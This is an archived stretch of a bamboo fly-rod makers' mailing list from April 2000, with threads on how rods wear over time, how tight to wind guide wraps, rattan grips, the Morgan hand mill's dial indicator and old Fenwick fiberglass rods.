Subject: longevity of actively used bamboo rods.Hey Folks, I had a friend tell me that he read A.J. McClane talking about thelongevityHe said A.J. mentioned that bamboorods lose it after 300 hours of use. a lot more than 300 hours of use into them, andIthink A.J. McClane is all wet on this notion. Alberta Al from rcurry@ttlc.net Mon Apr 24 19:56:10 2000 (SMTPD32-6.00) id AE633BEE00C4; Mon, 24 Apr 2000 21:01:23 -0400 Subject: Re: longevity of actively used bamboo rods. Art,A.J. McClane, IMHO, the best fishing writer of the last century, had anabiding respect for a good canerod; you have only to read the Fly Rod chapter of "The Practical FlyFisherman", to see that. I'd bedisappointedto see him writing as ascribed to him. Can we get chapter and verse onthat?Best regards,Reed from rsgould@cmc.net Mon Apr 24 20:38:15 2000 Subject: Re: longevity of actively used bamboo rods. Hi Alan,The Oris Company did a material fatigue test on tempered and untemperedbamboo (published in 1975) shown in a booklet titled "Comparison ofBamboo,Glass and Graphite Rods". It shows that tempered bamboo loses 4.8%tensilestrength (which they term as "softening") after 27,500 double flexes or532hrs at one cast per minute. Now they also call this 2 years of casting but adon't really imagine that any of us really make 27,500 casts in two yearssoit's probably a much longer time period. I'm currently using some rods Ibuilt over 15 yrs ago and do not notice any "softening".Ray----- Original Message ----- Subject: longevity of actively used bamboo rods. Hey Folks, I had a friend tell me that he read A.J. McClane talking about thelongevityof rods made of bamboo and fiberglass. He said A.J. mentioned thatbamboorods lose it after 300 hours of use. I have several bamboos with a lot more than 300 hours of use into them,andI think they cast fine to this day. What is everyone's opinion on this?Ithink A.J. McClane is all wet on this notion. Alberta Al from rsgould@cmc.net Mon Apr 24 20:55:40 2000 , Subject: Re: Winding pressure for guides Hi all,My preference for wrapping guides is to use a tight thread except for trimwraps which can be looser. The guide is then anchored securely and willnotmove.Ray----- Original Message ----- Subject: Re: Winding pressure for guides HI Mike,I had a problem with this on my second rod. I was just putting thethread though a book and it was to tight , after fishing it it took afunnycurve at wraps . So i took the guides off and there was indentations onthecane at the wrap area to tight. After speaking to Russ at G.W. his advicewasjust enough presure to hold the guides. You should be able to move guidesafter the wraps are on. Hope this helps. Tom n. from KlingB@health.missouri.edu Mon Apr 24 22:30:54 2000 rodmakers@wugate.wustl.eduSubject: RE: Bamboo splitter I just compared the dial indicator that recently came with my hand millagainst a calibrated 1" Mitutoyo and it was right on the money. Don'tforgetit only has to be accurate over a relatively small range. I don't want tostart a fire but I really don't agree that the mill doesn't give good value.It's a truly elegant design and includes carefully machined tools made insmall quantities. I have no connection to Tom Morgan (except as acustomer)but I just hate to see a good thing knocked. I feel you're doing somethingI'm often guilty of (and I really hate it when other people steal my faults)- being cynical/critical as a reflex when it's not really fair. Barry -----Original Message----- Sent: Saturday, April 22, 2000 6:32 PM Subject: Re: Bamboo splitter One of the downfalls of the Mill is that Tom providesyou with the cheapest possible dial indicator known tomankind. You would think for $2K you could get adigital one. My 2 cents and a fact. B.F. --- bob maulucci wrote:Hi everyone:Two questions, please:1. Here are those splitters that Bob N. was talkingabout. They look great. Would you recomend the 6 way or the 8 way splitter.I was figuring on 6, then splitting again down to 24.http://www.hidatool.com/splitter_&_hatchet.htm 2. If I have a digital Mitutoyo depth gauge with.5"movement, is there a way to increase this to 1" so I can use it on themorgan Hand Mill. Someone mentioned they were doing this but I cannot figurehow. Maybe they have a 1" movement gauge. Thanks, Bob Maulucci==================================================downandacross.combob@downandacross.com __________________________________________________Do You Yahoo!?Send online invitations with Yahoo! Invites.http://invites.yahoo.com from KlingB@health.missouri.edu Mon Apr 24 22:46:34 2000 rodmakers@wugate.wustl.eduSubject: RE: longevity of actively used bamboo rods. Ray - Very interesting. What did it say about glass and graphite? Also, I wouldthink the glue affects this and could account for much of the 4.8% change.Did they say what glue was used? Barry -----Original Message----- Sent: Monday, April 24, 2000 8:37 PM Subject: Re: longevity of actively used bamboo rods. Hi Alan,The Oris Company did a material fatigue test on tempered anduntemperedbamboo (published in 1975) shown in a booklet titled"Comparison of Bamboo,Glass and Graphite Rods". It shows that tempered bambooloses 4.8% tensilestrength (which they term as "softening") after 27,500double flexes or 532hrs at one cast per minute. Now they also call this 2 yearsof casting but adon't really imagine that any of us really make 27,500 castsin two years soit's probably a much longer time period. I'm currently usingsome rods Ibuilt over 15 yrs ago and do not notice any "softening".Ray----- Original Message -----From: Grombacher, Alan Sent: Monday, April 24, 2000 12:00 PMSubject: longevity of actively used bamboo rods. Hey Folks, I had a friend tell me that he read A.J. McClane talkingabout thelongevityof rods made of bamboo and fiberglass. He said A.J.mentioned that bamboorods lose it after 300 hours of use. I have several bamboos with a lot more than 300 hours ofuse into them,andI think they cast fine to this day. What is everyone'sopinion on this?Ithink A.J. McClane is all wet on this notion. Alberta Al from chris@artistree.com Tue Apr 25 01:24:10 2000 Subject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if you knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I was lucky enough toattend an informal discussion Per Brandin put together in which Jim wasthe featured guest. Needless to say it was an enlightening afternoon. If I were a collector, I would keep and eye out for the old Fenwicks.-- Regards, Chris Wohlfordemail: chris@artistree.com from darrell@rockclimbing.org Tue Apr 25 04:29:13 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id ; Tue, Subject: RE: Winding pressure for guides owner-rodmakers@wugate.wustl.edu, rodmakers@wugate.wustl.edu It also depends on the thread, if you use a quality size A silk you canapply a lot of wrapping pressure and the finer the thread the less pressureyou can apply while wrapping... I had to dump some spools of vintage silkthread because the thread kept breaking at what I thought was relativelylight wrapping pressure (especially for size A). I don't remember thethreadmake but I remember spending way too much time because the threadbrokeseveral times. It was a nice color unfortunately. According to a Gudebrod chart I saw somewhere, silk thread has a higherbreaking strength than nylon. Of course that would depend on the quality,age and several other factors... A note, the vintage silk thread does have a LOT more fuzzies than mostnewsilk thread, certainly a disadvantage but the vintage thread colors usuallyseem much more vibrant in color and shinyness or sheen. I wonder ifthere'sbeen some change in the dyeing process or what? I'm with Ray and like the guides wrapped on the tight side. My two cents... Darrellwww.vfish.net -----Original Message----- owner-rodmakers@wugate.wustl.edu; rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Hi all,My preference for wrapping guides is to use a tight thread except for trimwraps which can be looser. The guide is then anchored securely and willnotmove.Ray----- Original Message ----- Subject: Re: Winding pressure for guides HI Mike,I had a problem with this on my second rod. I was just putting thethread though a book and it was to tight , after fishing it it took afunnycurve at wraps . So i took the guides off and there was indentations onthecane at the wrap area to tight. After speaking to Russ at G.W. his advicewasjust enough presure to hold the guides. You should be able to move guidesafter the wraps are on. Hope this helps. Tom n. from paul.blakley@dtn.ntl.com Tue Apr 25 04:38:10 2000 helo=dtn.ntl.com) Subject: Rattan Handle Grips I have here a few questions for the 'list' re ratan and ratan grips; 1) Is the ratan overwound an underbody on the blank,say an under sizedcork handle shape or even a balsa handle shape ?2) Is the ratan glued to the under body as the ratan handle is wound inplace , and if so what adhesive is used ?3) Ratan as bought from an Art and Craft shop is quite 'springy'.How is the ratan softened before being used. Soaking in water would seema possibility ?4)Are there any references or literature sources on this subject thatanyone is aware of? Many thanks.........Paul B from grau@buchlang.com Tue Apr 25 04:59:59 2000 Subject: Re: Rattan Handle Grips paul have a look at hobby stores or also garden shops for rattan. Literature:Michel Sinclairs *Bamboo Rod Restoration Handbook* (think availabletroughAmazon).Yes, if i make my rattan woundet handles i take often corkgrips fromlessergood qualitiy (because you do not see the cork under the rattanafterwards),soften the rattan in hot (not cooking) water for ca. 15 Minutes - the rattanstys smooth this way for ca. 2 days and can be good woundet and glued(epoxy). After the grip is dried, you can stain it and dip with the wholerod. Regards Stefan paul.blakley@dtn.ntl.com schrieb: I have here a few questions for the 'list' re ratan and ratan grips; 1) Is the ratan overwound an underbody on the blank,say an under sizedcork handle shape or even a balsa handle shape ?2) Is the ratan glued to the under body as the ratan handle is wound inplace , and if so what adhesive is used ?3) Ratan as bought from an Art and Craft shop is quite 'springy'.How is the ratan softened before being used. Soaking in water wouldseema possibility ?4)Are there any references or literature sources on this subject thatanyone is aware of? Many thanks.........Paul B from richard.nantel@videotron.ca Tue Apr 25 07:07:55 2000 Internet Mail Serversims.3.5.1999.12.14.10.29.p8)with SMTP id forrodmakers@wugate.wustl.edu; Tue, 25 Apr 2000 08:07:00 Subject: RE: Fiberglass Gold Could someone post the actual eBay item number of this expensiveFenwickfiberglass rod? I did a search for it in the 'completed items' section anddidn't come across any rods that sold for more than a few hundred dollars. Just remembered I have a dusty old Fenwick fiberglass rod in my closet. ;-) Thanks, Richard -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Tuesday, April 25, 2000 2:26 AM Cc: rodmakers@wugate.wustl.eduSubject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. Butif you knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I waslucky enough toattend an informal discussion Per Brandin put together inwhich Jim wasthe featured guest. Needless to say it was an enlightening afternoon.If I were a collector, I would keep and eye out for the old Fenwicks.--Regards, Chris Wohlfordemail: chris@artistree.com from nobler@satx.rr.com Tue Apr 25 07:56:35 2000 SMTPSVC(5.5.1877.357.35);Tue, 25 Apr 2000 07:44:22 -0500 , Subject: Re: Bamboo splitter boundary="----=_NextPart_000_001F_01BFAE8C.26763A00" This is a multi-part message in MIME format. ------=_NextPart_000_001F_01BFAE8C.26763A00 I'm not sure if this is directed to me, but I was just asking, since I =haven't received my mill yet. Since I've used the same 1" Mitutoyo dial =indicator depth gauge for over 30 years, and need it daily in my =business, I will need another that's set up for making rods. A couple =who have received their hand mills commented that the dial indicator =supplied was not of good quality. the mill quality itself. GMA Sent: Monday, April 24, 2000 10:30 PMSubject: RE: Bamboo splitter I just compared the dial indicator that recently came with my hand =millagainst a calibrated 1" Mitutoyo and it was right on the money. Don't =forgetit only has to be accurate over a relatively small range. I don't want =tostart a fire but I really don't agree that the mill doesn't give good =value.It's a truly elegant design and includes carefully machined tools made =insmall quantities. I have no connection to Tom Morgan (except as a =customer)but I just hate to see a good thing knocked. I feel you're doing =somethingI'm often guilty of (and I really hate it when other people steal my =faults)- being cynical/critical as a reflex when it's not really fair. Barry -----Original Message----- Sent: Saturday, April 22, 2000 6:32 PM Subject: Re: Bamboo splitter One of the downfalls of the Mill is that Tom providesyou with the cheapest possible dial indicator known tomankind. You would think for $2K you could get adigital one. My 2 cents and a fact. B.F. --- bob maulucci wrote:Hi everyone:Two questions, please:1. Here are those splitters that Bob N. was talking Would you recomend the 6 way or the 8 way splitter. then splitting again down to 24.http://www.hidatool.com/splitter_&_hatchet.htm 2. If I have a digital Mitutoyo depth gauge with.5" way to increase this to 1" so I can use it on the mentioned they were doing this but I cannot figure 1" movement gauge. Thanks, Bob Maulucci==3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D==3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= downandacross.combob@downandacross.com __________________________________________________Do You Yahoo!?Send online invitations with Yahoo! Invites.http://invites.yahoo.com ------=_NextPart_000_001F_01BFAE8C.26763A00 I'm not sure if this is directed to me, but I was just = since I haven't received my mill yet. Since I've used the same 1" = indicator depth gauge for over 30 years, and need it daily in my = will need another that's set up for making rods. A couple who have = their hand mills commented that the dial indicator supplied was not of = quality. reflects on the mill quality itself. GMA ----- Original Message ----- Kling, Barry W. = Sent: Monday, April 24, 2000 = PMSubject: RE: Bamboo =splitterI just compared the dial indicator that recently = my hand millagainst a calibrated 1" Mitutoyo and it was right on = money. Don't forgetit only has to be accurate over a relatively = range. I don't want tostart a fire but I really don't agree that = doesn't give good value.It's a truly elegant design and includes = machined tools made insmall quantities. I have no connection to = (except as a customer)but I just hate to see a good thing knocked. = you're doing somethingI'm often guilty of (and I really hate it = people steal my faults)- being cynical/critical as a reflex when = really fair.Barry-----Original Message-----From:= rodmakers@wugate.wustl.edu= Re: Bamboo splitterOne of the downfalls of the Mill is that = providesyou with the cheapest possible dial indicator known = You would think for $2K you could get adigital one.My 2 = ==3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D==3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= __________________________________________________Do Yahoo!?Send online invitations with Yahoo! Invites.http://invites.yahoo.com ------=_NextPart_000_001F_01BFAE8C.26763A00-- from nobler@satx.rr.com Tue Apr 25 08:11:32 2000 SMTPSVC(5.5.1877.357.35);Tue, 25 Apr 2000 07:59:20 -0500 Subject: Re: Fiberglass Gold boundary="----=_NextPart_000_003F_01BFAE8E.3DA9F200" This is a multi-part message in MIME format. ------=_NextPart_000_003F_01BFAE8E.3DA9F200 Gee, I have one of those early Fenwick's, and it's a decent bugging rod, =I've used to teach casting with. Maybe I can raise some extra cash ? =(grin) When it comes to FG rods, I rate the Sila Flex above them all. Even =today, I have 3 Browning-Sila Flex boron casting rods, that are the most =sensitive, I've ever used. You can detect the spinner blade stopping its =rhythm when a fish just makes a pass at it ! Things just get crazy on eBay ! GMA Sent: Tuesday, April 25, 2000 1:26 AMSubject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if you =knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I was lucky enough =toattend an informal discussion Per Brandin put together in which Jim =was If I were a collector, I would keep and eye out for the old Fenwicks. Regards, Chris Wohlfordemail: chris@artistree.com ------=_NextPart_000_003F_01BFAE8E.3DA9F200 Gee, I have one of those early Fenwick's, and it's a decent = rod, I've used to teach casting with. Maybe I can raise some extra cash = (grin) When it comes to FG rods, I rate the Sila Flex above them = today, I have 3 Browning-Sila Flex boron casting rods, that are the most = sensitive, I've ever used. You can detect the spinner blade stopping its = when a fish just makes a pass at it ! Things just get crazy on eBay ! GMA ----- Original Message ----- Wohlford = Cc: rodmakers@wugate.wustl.edu= Sent: Tuesday, April 25, 2000 = AMSubject: Re: Fiberglass =GoldI have to agree the price is a bit high for those rods. = you knowyour fly rod history you'll also know that Fenwick under = directionof Jim Green were pioneers in fiberglass fly rods. I was = enough toattend an informal discussion Per Brandin put together in = Jim wasthe featured guest. Needless to say it was an afternoon. If I were a collector, I would keep and eye out for the = Fenwicks.-- Regards,Chris Wohlfordemail: chris@artistree.com ------=_NextPart_000_003F_01BFAE8E.3DA9F200-- from nobler@satx.rr.com Tue Apr 25 08:43:05 2000 SMTPSVC(5.5.1877.357.35);Tue, 25 Apr 2000 08:30:39 -0500 , , Subject: Re: Winding pressure for guides boundary="----=_NextPart_000_0061_01BFAE92.9D689BC0" This is a multi-part message in MIME format. ------=_NextPart_000_0061_01BFAE92.9D689BC0 The one thing about Nylon, vs, silk, is stretch ! The Nylon will take on =a bunch more stretch. I find it hard to believe a silk thread could be =made to apply enough pressure to indent cane ! "E" Nylon perhaps, but =not the finer silk. To me, the stretch compounds the amount of pressure =that can be applied. Strange ! GMA Sent: Tuesday, April 25, 2000 4:28 AMSubject: RE: Winding pressure for guides It also depends on the thread, if you use a quality size A silk you =canapply a lot of wrapping pressure and the finer the thread the less =pressureyou can apply while wrapping... I had to dump some spools of vintage =silkthread because the thread kept breaking at what I thought was =relativelylight wrapping pressure (especially for size A). I don't remember the =threadmake but I remember spending way too much time because the thread =brokeseveral times. It was a nice color unfortunately. According to a Gudebrod chart I saw somewhere, silk thread has a =higherbreaking strength than nylon. Of course that would depend on the =quality,age and several other factors... A note, the vintage silk thread does have a LOT more fuzzies than most =newsilk thread, certainly a disadvantage but the vintage thread colors =usuallyseem much more vibrant in color and shinyness or sheen. I wonder if =there'sbeen some change in the dyeing process or what? I'm with Ray and like the guides wrapped on the tight side. My two cents... Darrellwww.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Monday, April 24, 2000 6:55 PM owner-rodmakers@wugate.wustl.edu; rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Hi all,My preference for wrapping guides is to use a tight thread except for =trimwraps which can be looser. The guide is then anchored securely and =will notmove.Ray----- Original Message -----From: Sent: Monday, April 24, 2000 10:09 AMSubject: Re: Winding pressure for guides HI Mike,I had a problem with this on my second rod. I was just =putting thethread though a book and it was to tight , after fishing it it took =afunnycurve at wraps . So i took the guides off and there was indentations =onthecane at the wrap area to tight. After speaking to Russ at G.W. his =advicewasjust enough presure to hold the guides. You should be able to move =guidesafter the wraps are on. Hope this helps. Tom n. ------=_NextPart_000_0061_01BFAE92.9D689BC0 The one thing about Nylon, vs, silk, is stretch ! The Nylon = but not the finer silk. To me, the stretch compounds the amount of = can be applied. Strange ! GMA ----- Original Message ----- Darrell A. Lee owner-rodmakers@wugate.wustl.edu= rodmakers@wugate.wustl.edu= Sent: Tuesday, April 25, 2000 = AMSubject: RE: Winding pressure = guidesIt also depends on the thread, if you use a quality = silk you canapply a lot of wrapping pressure and the finer the = less pressureyou can apply while wrapping... I had to dump some = vintage silkthread because the thread kept breaking at what I = relativelylight wrapping pressure (especially for size A). I don't = remember the threadmake but I remember spending way too muchtime = unfortunately.According to a Gudebrod chart I saw somewhere, = thread has a higherbreaking strength than nylon. Of course that = depend on the quality,age and several other factors...A = vintage silk thread does have a LOT more fuzzies than most newsilk= certainly a disadvantage but the vintage thread colors usuallyseem = more vibrant in color and shinyness or sheen. I wonder if = change in the dyeing process or what?I'm with Ray and like the = wrapped on the tight side.My two =cents...Darrellwww.vfish.net----- Message-----From: owner-rodmakers@wugate.w= rodmakers@w= FlyfishT@aol.com; mschaffer@mindspring.com;owner-rodmakers@wugate.w= rodmakers@wugate.wustl.edu= Re: Winding pressure for guidesHi all,My preference = wrapping guides is to use a tight thread except for trimwraps = notmove.Ray----- Original Message -----From: <owner-rodmakers@wugate.w= Monday, April 24, 2000 10:09 AMSubject: Re: Winding pressure = Tom n. ------=_NextPart_000_0061_01BFAE92.9D689BC0-- from andrew_harsanyi@ibi.com Tue Apr 25 08:45:01 2000 0400 Subject: RE: Winding pressure for guides On a slightly different topic....how DO you do tipping with only 3 or4 wraps? I have done 5 or six using Pearsall's Gossamer, which stillmakes the tipping fairly narrow, but wonder how it can be done withfewer wraps. Andy -----Original Message----- owner-rodmakers@wugate.wustl.edu; rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Hi all,My preference for wrapping guides is to use a tight thread except fortrimwraps which can be looser. The guide is then anchored securely andwill notmove.Ray----- Original Message ----- Subject: Re: Winding pressure for guides HI Mike,I had a problem with this on my second rod. I was justputting thethread though a book and it was to tight , after fishing it it tookafunnycurve at wraps . So i took the guides off and there was indentationsonthecane at the wrap area to tight. After speaking to Russ at G.W. hisadvicewasjust enough presure to hold the guides. You should be able to moveguidesafter the wraps are on. Hope this helps. Tom n. from Canerods@aol.com Tue Apr 25 08:45:49 2000 Subject: Re: longevity of actively used bamboo rods. All, I read that fiberglass rods (old impreg) dropped off the most in strengthvs # of casts, followed by bamboo and then graphite rods. Don't know aboutthe new E glass fiberglass rods. A real good question would be, is the droppoff in a cane rod a slow steady continous falloff vs # of casts or is it an early rapid dropoff followed by a long flat spot. The first would imply fiber damage occurs with # of casts, the second might imply that the rod components might need to adjust to a steadystate value. I recall when a company I worked for manufactured a hydraulic cylinder from graphite cloth impreg. and had to apply max. hydralic pressure to the cylinder once or the bore else the cylinder would expand after mfg. and be out of spec. A second point. That this doesn't factor in rod damage from hook strikesetc. - wack both a graphite rod and a bamboo rod and then cast them both. The graphite rod might just shatter whereas a bamboo will show some loss of strength. Drastic loss of strength vs a small decrease in casting strength- unless the mfg'r lifetime waranty is effect, which would you rather have? Don Burns from nobler@satx.rr.com Tue Apr 25 08:55:04 2000 SMTPSVC(5.5.1877.357.35);Tue, 25 Apr 2000 08:42:52 -0500 Subject: Re: longevity of actively used bamboo rods. boundary="----=_NextPart_000_0091_01BFAE94.52A80880" This is a multi-part message in MIME format. ------=_NextPart_000_0091_01BFAE94.52A80880 has been due to over loading ! Mostly too much for the job intended ! =Line or fish ! GMA Sent: Tuesday, April 25, 2000 8:45 AMSubject: Re: longevity of actively used bamboo rods. All, I read that fiberglass rods (old impreg) dropped off the most in = # of casts, followed by bamboo and then graphite rods. Don't know = new E glass fiberglass rods. A real good question would be, is the droppoff in a cane rod a slow = continous falloff vs # of casts or is it an early rapid dropoff = long flat spot. The first would imply fiber damage occurs with # of = the second might imply that the rod components might need to adjust to= I recall when a company I worked for manufactured a hydraulic cylinder = cylinder once or the bore else the cylinder would expand after mfg. = out of spec. A second point. That this doesn't factor in rod damage from hook = - wack both a graphite rod and a bamboo rod and then cast them both. = graphite rod might just shatter whereas a bamboo will show some loss = strength. Drastic loss of strength vs a small decrease in casting = unless the mfg'r lifetime waranty is effect, which would you rather =have? Don Burns ------=_NextPart_000_0091_01BFAE94.52A80880 quality, has been due to over loading ! Mostly too much for the job = Line or fish ! GMA ----- Original Message ----- = Sent: Tuesday, April 25, 2000 = AMSubject: Re: longevity of = bamboo rods.All,I read that fiberglass rods (old impreg) = off the most in strength vs # of casts, followed by bamboo and = graphite rods. Don't know about the new E glass fiberglass = real good question would be, is the droppoff in a cane rod a slow = continous falloff vs # of casts or is it an early rapid dropoff = casts, the second might imply that the rod components might need = to a steadystate value. I recall when a company I worked = manufactured a hydraulic cylinder from graphite cloth impreg. and = apply max. hydralic pressure to the cylinder once or the bore else = cylinder would expand after mfg. and be out of spec.A = point. That this doesn't factor in rod damage from hook strikes etc. = wack both a graphite rod and a bamboo rod and then cast them both. The = graphite rod might just shatter whereas a bamboo will show some = strength. Drastic loss of strength vs a small decrease in casting = - unless the mfg'r lifetime waranty is effect, which would you = have?Don Burns ------=_NextPart_000_0091_01BFAE94.52A80880-- from sniderja@email.uc.edu Tue Apr 25 09:13:34 2000 Subject: RE: Winding pressure for guides I make tipping with as few as 2-3 wraps by using considerable pressure, alot of luck, and by redoing some of the tips several times! An easiermethod (but for me it only works using nylon) is to tape the tipping threadand the thread loop used for the whip finish on the blank just PRIOR tocompleting the main wrap. In this manner the tipping thread will beanchored (beginning AND end) underneath the main wraps. However, In mylimited experience, if I use a darker tipping and a lighter wrap, the tipends will show through the lighter thread (assuming that I am using atransparent finish for the wraps). I'm certain that there are far better J. Snider At 09:40 AM 04/25/2000 -0400, Harsanyi, Andrew wrote:On a slightly different topic....how DO you do tipping with only 3 or4 wraps? I have done 5 or six using Pearsall's Gossamer, which stillmakes the tipping fairly narrow, but wonder how it can be done withfewer wraps. Andy -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Monday, April 24, 2000 9:55 PM owner-rodmakers@wugate.wustl.edu; rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Hi all,My preference for wrapping guides is to use a tight thread except fortrimwraps which can be looser. The guide is then anchored securely andwill notmove.Ray----- Original Message -----From: Sent: Monday, April 24, 2000 10:09 AMSubject: Re: Winding pressure for guides HI Mike,I had a problem with this on my second rod. I was justputting thethread though a book and it was to tight , after fishing it it tookafunnycurve at wraps . So i took the guides off and there was indentationsonthecane at the wrap area to tight. After speaking to Russ at G.W. hisadvicewasjust enough presure to hold the guides. You should be able to moveguidesafter the wraps are on. Hope this helps. Tom n. from caneman@clnk.com Tue Apr 25 09:36:53 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com; Tue, 25 Apr 2000 09:32:58 -0500 Subject: Re: Winding pressure for guides Andy,Just put your pulling loop in from the beginning of the wrap. One bighelp on 3 wrap tipping is to leave your tag ends on, don't trim them off,until you have put one coat of varnish on the wraps. I use 6/0 silk for myguides and tipping, and if you trim before you put the first seal coat onthe wraps, sometimes they will come loose... not much holding the tag enddown when you use 6/0. Bob -----Original Message----- Subject: RE: Winding pressure for guides On a slightly different topic....how DO you do tipping with only 3 or4 wraps? I have done 5 or six using Pearsall's Gossamer, which stillmakes the tipping fairly narrow, but wonder how it can be done withfewer wraps. Andy -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Monday, April 24, 2000 9:55 PM owner-rodmakers@wugate.wustl.edu; rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Hi all,My preference for wrapping guides is to use a tight thread except fortrimwraps which can be looser. The guide is then anchored securely andwill notmove.Ray----- Original Message -----From: Sent: Monday, April 24, 2000 10:09 AMSubject: Re: Winding pressure for guides HI Mike,I had a problem with this on my second rod. I was justputting thethread though a book and it was to tight , after fishing it it tookafunnycurve at wraps . So i took the guides off and there was indentationsonthecane at the wrap area to tight. After speaking to Russ at G.W. hisadvicewasjust enough presure to hold the guides. You should be able to moveguidesafter the wraps are on. Hope this helps. Tom n. from bluefin_1999@yahoo.com Tue Apr 25 09:38:23 2000 2000 07:37:50 PDT Subject: RE: Bamboo splitter rodmakers@wugate.wustl.edu Barry, How can you say I am being "cynical" when I am justspeaking a FACT. The dial indicator that comes withthe Mill is extremely C-H-E-A-P. All I stated was for the $2K investment I wasdisappointed that the quality of the indicator was/isso poor. How can you dispute that statement ? --- "Kling, Barry W." wrote: I just compared the dial indicator that recentlycame with my hand millagainst a calibrated 1" Mitutoyo and it was right onthe money. Don't forgetit only has to be accurate over a relatively smallrange. I don't want tostart a fire but I really don't agree that the milldoesn't give good value.It's a truly elegant design and includes carefullymachined tools made insmall quantities. I have no connection to Tom Morgan(except as a customer)but I just hate to see a good thing knocked. I feelyou're doing somethingI'm often guilty of (and I really hate it when otherpeople steal my faults)- being cynical/critical as a reflex when it's notreally fair. Barry -----Original Message----- Sent: Saturday, April 22, 2000 6:32 PM rodmakers@wugate.wustl.eduSubject: Re: Bamboo splitter One of the downfalls of the Mill is that Tomprovidesyou with the cheapest possible dial indicatorknown tomankind. You would think for $2K you could get adigital one. My 2 cents and a fact. B.F. --- bob maulucci wrote:Hi everyone:Two questions, please:1. Here are those splitters that Bob N. wastalkingabout. They look great. Would you recomend the 6 way or the 8 waysplitter.I was figuring on 6, then splitting again down to 24.http://www.hidatool.com/splitter_&_hatchet.htm 2. If I have a digital Mitutoyo depth gaugewith.5"movement, is there a way to increase this to 1" so I can use it onthemorgan Hand Mill. Someone mentioned they were doing this but I cannotfigurehow. Maybe they have a 1" movement gauge. Thanks, Bob Maulucci ==================================================downandacross.combob@downandacross.com __________________________________________________Do You Yahoo!?Send online invitations with Yahoo! Invites.http://invites.yahoo.com __________________________________________________Do You Yahoo!?Send online invitations with Yahoo! Invites.http://invites.yahoo.com from jwt4639@ritvax.isc.rit.edu Tue Apr 25 09:50:15 2000 with ESMTPA id forrodmakers@wugate.wustl.edu; Tue, 25 Apr 2000 10:50:05 EDT Subject: Mrogan Mill Indicator Guys, Before you beat the crap out of the indicator, remember products gothrough revisions and friendly feedback to Mr Morgan may bring a betterindicator to the next release of his mill. Being from a electronics background a digital indicator and all theelectronics it suggests may not be something you want around dirt, dustand vibration. Jim T from andrew_harsanyi@ibi.com Tue Apr 25 09:51:20 2000 10:47:48 -0400 Subject: RE: Winding pressure for guides Bob, that sounds like a good point. I do wrap over the pulling loop from the beginning but then when I try to pull it through, or cut thetag ends, it usually unravels making this somewhat frustrating.Perhaps, more winding pressure (as Jerry mentioned) and leaving thetag end on until after that first varnish coat is the way togo...maybe there are some trickes I could do with masking tape aswell... Thanks... -----Original Message----- Subject: Re: Winding pressure for guides Andy,Just put your pulling loop in from the beginning of the wrap. Onebighelp on 3 wrap tipping is to leave your tag ends on, don't trim themoff,until you have put one coat of varnish on the wraps. I use 6/0 silk guides and tipping, and if you trim before you put the first seal coatonthe wraps, sometimes they will come loose... not much holding the tagenddown when you use 6/0. Bob -----Original Message----- Subject: RE: Winding pressure for guides On a slightly different topic....how DO you do tipping with only 3 or4 wraps? I have done 5 or six using Pearsall's Gossamer, which stillmakes the tipping fairly narrow, but wonder how it can be done withfewer wraps. Andy -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Monday, April 24, 2000 9:55 PM owner-rodmakers@wugate.wustl.edu; rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Hi all,My preference for wrapping guides is to use a tight thread except fortrimwraps which can be looser. The guide is then anchored securely andwill notmove.Ray----- Original Message -----From: Sent: Monday, April 24, 2000 10:09 AMSubject: Re: Winding pressure for guides HI Mike,I had a problem with this on my second rod. I was justputting thethread though a book and it was to tight , after fishing it it tookafunnycurve at wraps . So i took the guides off and there wasindentationsonthecane at the wrap area to tight. After speaking to Russ at G.W. hisadvicewasjust enough presure to hold the guides. You should be able to moveguidesafter the wraps are on. Hope this helps. Tom n. from fbcwin@3g.quik.com Tue Apr 25 09:52:29 2000 Tue, 25 Apr 2000 07:52:09 -0700 Subject: Re: Winding pressure for guides "Harsanyi, Andrew" wrote: On a slightly different topic....how DO you do tipping with only 3 or4 wraps? I have done 5 or six using Pearsall's Gossamer, which stillmakes the tipping fairly narrow, but wonder how it can be done withfewer wraps. Andy Andy,In my experience, the trick to small trim bands is good oldwater. If you wet the thread before wrapping those trim bands, the threadseems to grip much better. Russ Gooding recommends distilled water, butI'm a little lazy and have had no problems with water straight from thetap. I just set a glass of water next to me on the table, dip my fingersin it, and touch my fingers to about 6 inches of thread between the spooland the rod.I tried the trick published in Rodmakers magazine where you wrapover your finger and the rod, then pull the tag end through with a crochetneedle, but with my clumsy fingers it takes longer. Each trim band takesless than a minute to wrap, start to finish.One more thing; as soon as the water evaporates, I hit the wrapwith either thinned lacquer or thinned varnish, depending on whether Iwant to preserve the colors. It's amazing how much better thosevarnishedwraps hold! Usually that means within an hour or so of completing thetrim wraps on a section I have a coat of something on them. Oh yeah, Idon't trim any of the tag ends until the first coat of color preserver orvarnish dries. Little bumps and stick-ups are a thing of the 